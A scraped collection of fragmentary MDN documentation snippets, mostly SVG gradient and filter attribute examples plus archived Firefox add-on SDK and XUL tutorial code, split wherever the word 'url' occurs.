url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sa...
fy - SVG: Scalable Vector Graphics
="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.75" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="
url(#gradient1)" /> <circle cx="100" cy="100" r="100" fill="
url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage notes value <length> default value coincides with the presentational value of cy for the element whether the value for cy was inherited or not.
...example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="
url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sa...
in - SVG: Scalable Vector Graphics
--> <feblend in="backgroundimage" in2="sourcegraphic" mode="multiply"/> </filter> </defs> <image xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:
url(#backgroundmultiply);" /> </svg> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="imagemultiply"> <!-- this is a workaround.
... --> <feimage xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <feblend in2="sourcegraphic" mode="multiply"/> </filter> </defs> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:
url(#imagemultiply);"/> </svg> </div> result specifications specification status comment filter effects module level 1the definition of 'in' in that specification.
numOctaves - SVG: Scalable Vector Graphics
: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="1" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="3" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <integer> default value 1 animatable yes <integer> defines the number of octaves.
... width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" numoctaves="3" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter:
url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'numoctaves' in that specification.
seed - SVG: Scalable Vector Graphics
{ height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="100" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefreque...
...ncy="0.05" seed="1000" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter:
url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'seed' in that specification.
spreadMethod - SVG: Scalable Vector Graphics
x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> <lineargradient id="repeatgradient" spreadmethod="repeat" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> </defs> <rect fill="
url(#padgradient)" x="10" y="0" width="200" height="40"/> <rect fill="
url(#reflectgradient)" x="10" y="50" width="200" height="40"/> <rect fill="
url(#repeatgradient)" x="10" y="100" width="200" height="40"/> </svg> result notice that the middle third of each gradient is the same.
.../> <stop offset="100%" stop-color="orange"/> </radialgradient> <radialgradient id="radialrepeatgradient" spreadmethod="repeat" cx="75%" cy="25%" r="33%" fx="64%" fy="18%" fr="17%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </radialgradient> </defs> <rect fill="
url(#radialpadgradient)" x="10" y="10" width="100" height="100"/> <rect fill="
url(#radialreflectgradient)" x="120" y="10" width="100" height="100"/> <rect fill="
url(#radialrepeatgradient)" x="230" y="10" width="100" height="100"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'sp...
stitchTiles - SVG: Scalable Vector Graphics
vg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="nostitch" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="stitch" /> </filter> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1); transform: translate(0, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1); transform: translate(100px, 100px);" /> <rect x="0" y="0" width="100" height="100" style...
...="filter:
url(#noise2); transform: translate(220px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise2); transform: translate(320px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise2); transform: translate(220px, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise2); transform: translate(320px, 100px);" /> </svg> usage notes value nostitch | stitch default value nostitch animatable yes nostitch this value indicates that no attempt is made to achieve smooth transitions at the border of tiles which contain a turbulence function.
y1 - SVG: Scalable Vector Graphics
--> <lineargradient y1="0%" id="g0"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="
url(#g0)" /> <!-- here the gradient vector start at the bottom left corner of the bounding box of the shape it is applied to.
... --> <lineargradient y1="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="
url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'y1' in that specification.
y2 - SVG: Scalable Vector Graphics
--> <lineargradient y2="0%" id="g0"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="
url(#g0)" /> <!-- here the gradient vector end at the bottom right corner of the bounding box of the shape it is applied to.
... --> <lineargradient y2="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="
url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'y2' in that specification.
<feColorMatrix> - SVG: Scalable Vector Graphics
opacity="0.5" /> </g> </defs> <use href="#circles" /> <text x="70" y="50">reference</text> <!-- identity matrix --> <filter id="colormethesame"> <fecolormatrix in="sourcegraphic" type="matrix" values="1 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 1 0" /> </filter> <use href="#circles" transform="translate(0 70)" filter="
url(#colormethesame)" /> <text x="70" y="120">identity matrix</text> <!-- combine rgb into green matrix --> <filter id="colormegreen"> <fecolormatrix in="sourcegraphic" type="matrix" values="0 0 0 0 0 1 1 1 1 0 0 0 0 0 0 0 0 0 1 0" /> </filter> <use href="#circles" transform="translate(0 140)" filter="
url(#colormegreen)" /...
...> <text x="70" y="190">rgbtogreen</text> <!-- saturate --> <filter id="colormesaturate"> <fecolormatrix in="sourcegraphic" type="saturate" values="0.2" /> </filter> <use href="#circles" transform="translate(0 210)" filter="
url(#colormesaturate)" /> <text x="70" y="260">saturate</text> <!-- huerotate --> <filter id="colormehuerotate"> <fecolormatrix in="sourcegraphic" type="huerotate" values="180" /> </filter> <use href="#circles" transform="translate(0 280)" filter="
url(#colormehuerotate)" /> <text x="70" y="330">huerotate</text> <!-- luminancetoalpha --> <filter id="colormelta"> <fecolormatrix in="sourcegraphic" type="luminancetoalpha" /> </filter> <use href="#circles" transform="translate(0 350)" filter="ur...
<feComponentTransfer> - SVG: Scalable Vector Graphics
mplitude="4" exponent="4" offset="0"></fefuncg> <fefuncb type="gamma" amplitude="4" exponent="1" offset="0"></fefuncb> </fecomponenttransfer> </filter> </defs> <g font-weight="bold"> <text x="0" y="20">default</text> <rect x="0" y="30" width="100%" height="20"></rect> <text x="0" y="70">identity</text> <rect x="0" y="80" width="100%" height="20" style="filter:
url(#identity)"></rect> <text x="0" y="120">table lookup</text> <rect x="0" y="130" width="100%" height="20" style="filter:
url(#table)"></rect> <text x="0" y="170">discrete table lookup</text> <rect x="0" y="180" width="100%" height="20" style="filter:
url(#discrete)"></rect> <text x="0" y="220">linear function</text> <rect x="0" y="230" width="100%" height="20" style="filter:u...
...rl(#linear)"></rect> <text x="0" y="270">gamma function</text> <rect x="0" y="280" width="100%" height="20" style="filter:
url(#gamma)"></rect> </g> </svg> css rect { fill:
url(#rainbow); } result specifications specification status comment filter effects module level 1the definition of '<fecomponenttransfer>' in that specification.
<feDiffuseLighting> - SVG: Scalable Vector Graphics
22">fepointlight</text> <filter id="lightme1"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="white"> <fepointlight x="150" y="60" z="20" /> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/> </filter> <circle cx="170" cy="80" r="50" fill="green" filter="
url(#lightme1)" /> <!-- the light source is a fedistantlight element --> <text text-anchor="middle" x="280" y="22">fedistantlight</text> <filter id="lightme2"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="white"> <fedistantlight azimuth="240" elevation="20"/> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" ope...
...rator="arithmetic" k1="1" k2="0" k3="0" k4="0"/> </filter> <circle cx="280" cy="80" r="50" fill="green" filter="
url(#lightme2)" /> <!-- the light source is a fespotlight source --> <text text-anchor="middle" x="390" y="22">fespotlight</text> <filter id="lightme3"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="white"> <fespotlight x="360" y="5" z="30" limitingconeangle="20" pointsatx="390" pointsaty="80" pointsatz="0"/> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/> </filter> <circle cx="390" cy="80" r="50" fill="green" filter="
url(#lightme3)" /> </svg> expected rendering: live rendering: specifications ...
<feGaussianBlur> - SVG: Scalable Vector Graphics
example simple example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="blurme"> <fegaussianblur in="sourcegraphic" stddeviation="5" /> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="
url(#blurme)" /> </svg> result screenshotlive sample drop shadow example svg <svg width="120" height="120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="dropshadow"> <fegaussianblur in="sourcealpha" stddeviation="3" /> <feoffset dx="2" dy="4" /> <femerge> <femergenode /> <femergenode in="sourcegraphic" /> </femerge...
...> </filter> <circle cx="60" cy="60" r="50" fill="green" filter="
url(#dropshadow)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fegaussianblur>' in that specification.
<feMorphology> - SVG: Scalable Vector Graphics
<filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> <text y="1em">normal text</text> <text id="thin" y="2em">thinned text</text> <text id="thick" y="3em">fattened text</text> </svg> css text { font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter:
url(#erode); } #thick { filter:
url(#dilate); } filtering html content svg <svg xmlns="http://www.w3.org/2000/svg" width="0" height="0"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> </svg> <p>normal text</p> <p id="thin">thinned text</p> <p id="thick">fattened text</p> cs...
...s p { margin: 0; font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter:
url(#erode); } #thick { filter:
url(#dilate); } specifications specification status comment filter effects module level 1the definition of '<femorphology>' in that specification.
<linearGradient> - SVG: Scalable Vector Graphics
{ height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="
url('#mygradient')" /> </svg> attributes gradientunits this attribute defines the coordinate system for attributes x1, x2, y1, y2 value type: userspaceonuse|objectboundingbox ; default value: objectboundingbox; animatable: yes gradienttransform this attribute provides additional transformation to the gradient coordinate system.
... value type: <
url> ; default value: none; animatable: yes spreadmethod this attribute indicates how the gradient behaves if it starts or ends inside the bounds of the shape containing the gradient.
<radialGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="mygradient"> <stop offset="10%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </radialgradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="
url('#mygradient')" /> </svg> attributes cx this attribute defines the x coordinate of the end circle of the radial gradient.
... value type: <
url> ; default value: none; animatable: yes r this attribute defines the radius of the end circle of the radial gradient.
<textPath> - SVG: Scalable Vector Graphics
</textpath> </text> </svg> attributes href the
url to the path or basic shape on which to render the text.
... value type: <
url> ; default value: none; animatable: yes lengthadjust where length adjustment should be applied to the text: the space between glyphs, or both the space and the glyphs themselves.
SVG documentation index - SVG: Scalable Vector Graphics
104 href svg, svg attribute the href attribute defines a link to a resource as a reference
url.
... 294 <a> element, reference, svg, svg container the <a> svg element creates a hyperlink to other web pages, files, locations in the same page, email addresses, or any other
url.
Clipping and masking - SVG: Scalable Vector Graphics
creating clips we create the above mentioned semicircle based on a circle element: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <clippath id="cut-off-bottom"> <rect x="0" y="0" width="200" height="100" /> </clippath> </defs> <circle cx="100" cy="100" r="100" clip-path="
url(#cut-off-bottom)" /> </svg> centered at (100,100) a circle with radius 100 is painted.
... <svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="gradient"> <stop offset="0" stop-color="black" /> <stop offset="1" stop-color="white" /> </lineargradient> <mask id="mask"> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" /> </mask> </defs> <rect x="0" y="0" width="200" height="200" fill="green" /> <rect x="0" y="0" width="200" height="200" fill="red" mask="
url(#mask)" /> </svg> you see a green-filled rect at the lowest layer and on top a red-filled rect.
SVG and CSS - SVG: Scalable Vector Graphics
gradientunits="userspaceonuse"> <stop id="fade-stop-1" offset="33%"/> <stop id="fade-stop-2" offset="95%"/> </radialgradient> </defs> <text id="heading" x="-280" y="-270">svg demonstration</text> <text id="caption" x="-280" y="-250">move your mouse pointer over the flower.</text> <g id="flower"> <circle id="overlay" cx="0" cy="0" r="200" stroke="none" fill="
url(#fade)"/> <g id="outer-petals"> <g class="quadrant"> <g class="segment"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g class="segment" transform="rotate(18)"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path clas...
... gradientunits="userspaceonuse"> <stop id="fade-stop-1" offset="33%"/> <stop id="fade-stop-2" offset="95%"/> </radialgradient> </defs> <text id="heading" x="-280" y="-270">svg demonstration</text> <text id="caption" x="-280" y="-250">move your mouse pointer over the flower.</text> <g id="flower"> <circle id="overlay" cx="0" cy="0" r="200" stroke="none" fill="
url(#fade)"/> <use id="outer-petals" xlink:href="#petals"/> <use id="inner-petals" xlink:href="#petals" transform="rotate(9) scale(0.33)"/> </g> </svg> what next?
Mixed content - Web security
active content examples this section lists some types of http requests which are considered active content: <script> (src attribute) <link> (href attribute) (this includes css stylesheets) <iframe> (src attribute) xmlhttprequest requests fetch() requests all cases in css where a <
url> value is used (@font-face, cursor, background-image, and so forth).
... <object> (data attribute) navigator.sendbeacon (
url attribute) other resource types like web fonts and workers may be considered active mixed content, as they are in chrome.
Secure contexts - Web security
locally-delivered resources such as those with http://127.0.0.1
urls, http://localhost
urls (under certain conditions), and file://
urls are also considered to have been delivered securely.
... resources that are not local, to be considered secure, must meet the following criteria: must be served over https:// or wss://
urls the security properties of the network channel used to deliver the resource must not be considered deprecated feature detection pages can use feature detection to check whether they are in a secure context or not by using the issecurecontext boolean, which is exposed on the global scope.
self - Archive of obsolete content
if you do this, the data is available to the content script in the options property of self: // main.js const tabs = require("sdk/tabs"); tabs.open({
url: "./page.html", onready: function(tab) { tab.attach({ contentscriptfile: "./content-script.js", contentscriptoptions: { a: "blah" } }); } }); // content-script.js alert(self.options.a); port you can use port to receive messages from, and send messages to, the main add-on code.
Communicating using "port" - Archive of obsolete content
the button sends the content script a message called "get-first-para" when it is clicked: pageworker = require("sdk/page-worker").page({ contentscriptfile: require("sdk/self").data.
url("listener.js"), content
url: "http://en.wikipedia.org/wiki/chalk" }); require("sdk/ui/button/action").actionbutton({ id: "get-first-para", label: "get-first-para", icon: "./icon-16.png", onclick: function() { console.log("sending 'get-first-para'"); pageworker.port.emit("get-first-para"); } }); the content script "listener.js" listens for "get-first-para".
Working with Events - Archive of obsolete content
if you do this, the listener will be called for any event emitted by that object, and its argument will be the name of the event: var ui = require("sdk/ui"); var panels = require("sdk/panel"); var self = require("sdk/self"); var panel = panels.panel({ content
url: self.data.
url("panel.html") }); panel.on("*", function(e) { console.log("event " + e + " was emitted"); }); var button = ui.actionbutton({ id: "my-button", label: "my button", icon: "./icon-16.png", onclick: handleclick }); function handleclick(state) { panel.show({ position: button }); } this wildcard feature does not yet work for the tabs or windows modules.
XUL Migration Guide - Archive of obsolete content
here's a really simple example add-on that modifies the browser chrome using window/utils: function removeforwardbutton() { var window = require("sdk/window/utils").getmostrecentbrowserwindow(); var forward = window.document.getelementbyid('forward-button'); var parent = window.document.getelementbyid('
urlbar-container'); parent.removechild(forward); } require("sdk/ui/button/action").actionbutton({ id: "remove-forward-button", label: "remove forward button", icon: "./icon-16.png", onclick: removeforwardbutton }); there are more useful examples of this technique in the jetpack wiki's collection of third party modules.
addon-page - Archive of obsolete content
after this, the page loaded from "data/index.html" will not contain navigational elements: var addontab = require("sdk/addon-page"); var data = require("sdk/self").data; require("sdk/tabs").open(data.
url("index.html")); this only affects the page at "data/index.html": all other pages are displayed normally.
simple-storage - Archive of obsolete content
for example, this add-on tries to store the
urls of pages the user visits: var ss = require("sdk/simple-storage"); ss.storage.pages = []; require("sdk/tabs").on("ready", function(tab) { ss.storage.pages.push(tab.
url); }); require("sdk/ui/button/action").actionbutton({ id: "read", label: "read", icon: "./read.png", onclick: function() { console.log(ss.storage.pages); } }); but this isn't going to work, because it empties the...
net/xhr - Archive of obsolete content
this can probably be done most securely by white-listing the protocols that can be used in the
url passed to the open() method, and limiting them to http:, https:, and possibly a special scheme that can be used to access the add-on's packaged, read-only resources.
Creating Event Targets - Archive of obsolete content
for example, you can listen to the panel object's show event either by calling: mypanel.on("show", listenerfunction); or by passing the onshow option to panel's constructor: var mypanel = require("sdk/panel").panel({ onshow: listenerfunction, content
url: "https://en.wikipedia.org/w/index.php" }); if your class inherits from eventtarget, options like this are automatically handled for you.
Display a Popup - Archive of obsolete content
var text_entry = require("sdk/panel").panel({ content
url: data.
url("text-entry.html"), contentscriptfile: data.
url("get-text.js") }); // create a button require("sdk/ui/button/action").actionbutton({ id: "show-panel", label: "show panel", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); // show the panel when the user clicks the button.
List Open Tabs - Archive of obsolete content
the following add-on adds an action button that logs the
urls of open tabs when the user clicks it: require("sdk/ui/button/action").actionbutton({ id: "list-tabs", label: "list tabs", icon: "./icon-16.png", onclick: listtabs }); function listtabs() { var tabs = require("sdk/tabs"); for (let tab of tabs) console.log(tab.
url); } note: to get this working, you will need to save an icon for the button to your add-on's "data" directory as "icon-16.png".
Listen for Page Load - Archive of obsolete content
the following add-on listens to the tab's built-in ready event and just logs the
url of each tab as the user loads it: require("sdk/tabs").on("ready", log
url); function log
url(tab) { console.log(tab.
url); } you will find this console output in the browser console, not the web console.
Localization - Archive of obsolete content
a-l10n-id="hello_id"></h1> </body> </html> then you can use this html file to build your interface, for example inside a panel: var button = require("sdk/ui/button/action").actionbutton({ id: "localized-hello", label: "localized hello", icon: "./icon-16.png", onclick: function() { hello.show(); } }); var hello = require("sdk/panel").panel({ height: 75, width: 150, content
url: require("sdk/self").data.
url("my-panel.html") }); given locale files for "en-us" and "fr" which provide translations of hello_id, the panel will now display "hello!" or "bonjour !", according to the current locale: the translation is inserted into the node which has the data-l10n-id attribute set.
Tutorials - Archive of obsolete content
modify web pages modify web pages based on
url create filters for web pages based on their
url: whenever a web page whose
url matches the filter is loaded, execute a specified script in it.
Bootstrapped extensions - Archive of obsolete content
notes on modifying the application user interface chrome.manifest in bootstrapped add-ons you can use a chrome.manifest file in bootstrapped add-ons to: make your add-on's content available via a chrome://
url (using the content, locale, and skin instructions in the manifest).
Customizing the download progress bar - Archive of obsolete content
the myextension.css file will look something like this: richlistitem progressmeter { %ifdef xp_win min-height: 17px !important; %else %ifdef xp_macosx -moz-appearance: none !important; background-image:
url(chrome://myextension/skin/progress_bg_osx.png) !important; %endif %endif } richlistitem .progress-bar { %ifdef xp_win -moz-appearance: none !important; background-image:
url(chrome://myextension/skin/progress_fd_win.png) !important; %else %ifdef xp_macosx background-image:
url(chrome://myextension/skin/progress_fd_osx.gif) !important; %endif %endif } note: this file only s...
Post data to window - Archive of obsolete content
createinstance(ci.nsimimeinputstream); postdata.addheader("content-type", "application/x-www-form-
urlencoded"); postdata.addcontentlength = true; postdata.setdata(stringstream); // postdata is ready to be used as apostdata argument ...
Sidebar - Archive of obsolete content
the good practice to determine which sidebar is open at a time is by testing in location property, which is a chrome
url: var sidebarwindow = document.getelementbyid("sidebar").contentwindow; if (sidebarwindow.location.href == "chrome://yourextension/content/whatever.xul") { // act on the sidebar content } for example to test if the web panel from firefox is open: var sidebarwindow = document.getelementbyid("sidebar").contentwindow; if (sidebarwindow.location.href == "chrome://browser/content/web-panels.xul")...
StringView - Archive of obsolete content
*/ location.assign(
url.createobject
url(new blob([swhelloworld.buffer], { "type": "application\/x-executable" }))); note: the executable above has been compiled with gnu gcc 4.8.1 running on a 64-bit machine with arch gnu/linux.
Tabbox - Archive of obsolete content
examples: .tabs-closebutton { list-style-image:
url(http://mozilla.org/favicon.ico); } .tabs-closebutton { list-style-image:
url("chrome://global/skin/icons/close.gif"); } ...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
<description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.0+</em:minversion> <em:maxversion>1.0+</em:maxversion> </description> </em:targetapplication> <!-- front-end metadata --> <em:name>my first extension</em:name> <em:description>just an example.</em:description> <em:creator>allpeers.com</em:creator> <em:homepage
url>http://www.allpeers.com/blog/</em:homepage
url> </description> </rdf> there's a detailed description of the format of the install.rdf file.
Inline options - Archive of obsolete content
you must also specify the optionstype as 2: <em:options
url>chrome://myaddon/content/name_of_my_file_to_use_for_inline_opts.xul</em:options
url> <em:optionstype>2</em:optionstype> your chrome.manifest file should contain the following, otherwise the path chrome://myaddon/content/name_of_my_file_to_use_for_inline_opts.xul will not exist content myaddon ./ this method allows you to maintain compatibility with previous versions of firefox by adding an...
Adding sidebars - Archive of obsolete content
<menupopup id="viewsidebarmenu"> <menuitem id="xulschoolhello-sidebar" label="&xulschoolhello.sidebar.title;" accesskey="&xulschoolhello.sidebar.accesskey;" type="checkbox" autocheck="false" group="sidebar" sidebar
url="chrome://xulschoolhello/content/sidebar.xul" sidebartitle="&xulschoolhello.sidebar.title;" oncommand="togglesidebar('xulschoolhello-sidebar');" /> </menupopup> the example in the mdc page includes a shortcut key combination to toggle the new sidebar.
Adding windows and dialogs - Archive of obsolete content
window.open( "chrome://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the
url to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window.
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
in real life such code is often far more complex) the code might break in the future, as certain assumptions might not longer be true, for example the function signature may change (auri from above becomes a
url) or the function is replaced by a short-hand/arrow function: function addtab(auri) tabbrowser.addtab(auri); var addtab = (auri) => tabbrowser.addtab(auri); same as with "passing functions/code as strings" above, patching a function to with fragments of externally retrieved data will create security vulnerabilities.
Handling Preferences - Archive of obsolete content
in order to have this button enabled in your extension you need to add the following line to install.rdf: <em:options
url>chrome://xulschoolhello/content/preferenceswindow.xul</em:options
url> if you want to open this window from a different place in the ui, such as a menu item or a button in a toolbar, you need to take into account that the opening behavior of a preferences window is different depending on the operating system.
The Essentials of an Extension - Archive of obsolete content
<em:name>xul school hello world</em:name> <em:description>welcome to xul school!</em:description> <em:version>0.1</em:version> <em:creator>appcoast</em:creator> <em:homepage
url>https://developer.mozilla.org/docs/xul_school</em:homepage
url> this is the data that is displayed before and after the extension is installed, that you can see in the add-ons manager.
MMgc - Archive of obsolete content
this is an unfortunate artifact of the existing code base, the avm+ is relatively clean and its reachability graph consists of basically 2 gc roots (the avmcore and
urlstreams) but the avm- has a bunch (currently includes securitycallbackdata, moviecliploader, camerainstance, fappacket, microphoneinstance, csoundchannel,
urlrequest, responceobject,
urlstream and
urlstreamsecurity).
Creating a Firefox sidebar extension - Archive of obsolete content
ebar" command="viewemptysidebar" key="&openemptysidebar.commandkey;" modifiers="&openemptysidebar.modifierskey;" /> </keyset> <broadcasterset id="mainbroadcasterset"> <broadcaster id="viewemptysidebar" label="&emptysidebar.title;" autocheck="false" type="checkbox" group="sidebar" sidebar
url="chrome://emptysidebar/content/emptysidebar.xul" sidebartitle="&emptysidebar.title;" oncommand="togglesidebar('viewemptysidebar');" /> </broadcasterset> </overlay> the overlay file consists of three entries, the menu definition, shortcut keys and the broadcaster.
Conclusion - Archive of obsolete content
to test it, try installing the extension on a fresh copy of mozilla by loading the file in your mozilla browser (this works whether you load it from the web or from your local hard drive via a file:///
url).
Specifying the appearance - Archive of obsolete content
for this we have to first create four icons, one for each tinderbox state (none, success, test failed, and busted), then create a set of css rules that displays the icon corresponding to the current tinderbox state: statusbarpanel#tinderbox-status { list-style-image:
url("chrome://navigator/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image:
url("chrome://navigator/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image:
url("chrome://navigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image:
url("chrome://navigator/content/tb-bu...
install.rdf - Archive of obsolete content
:minversion> <em:maxversion>2.0b2pre</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>my_theme</em:name> <em:description>my first theme</em:description> <!-- front end integration hooks (used by theme manager)--> <em:creator>john johnson</em:creator> <em:contributor>john johnson</em:contributor> <em:homepage
url>https://mycoolskin.com/</em:homepage
url> <em:update
url>https://mycoolskin.com/</em:update
url> <em:about
url>https://mycoolskin.com/</em:about
url> <em:internalname>my_theme</em:internalname> </description> </rdf> ...
Getting Started - Archive of obsolete content
delete the bolded text: original skin,install,
url,jar:resource:/chrome/classic.jar!/skin/classic/global/ modified skin,install,
url,resource:/chrome/classic/skin/classic/global/ once you have made these modifications, save them and run mozilla.
Embedding FAQ - Archive of obsolete content
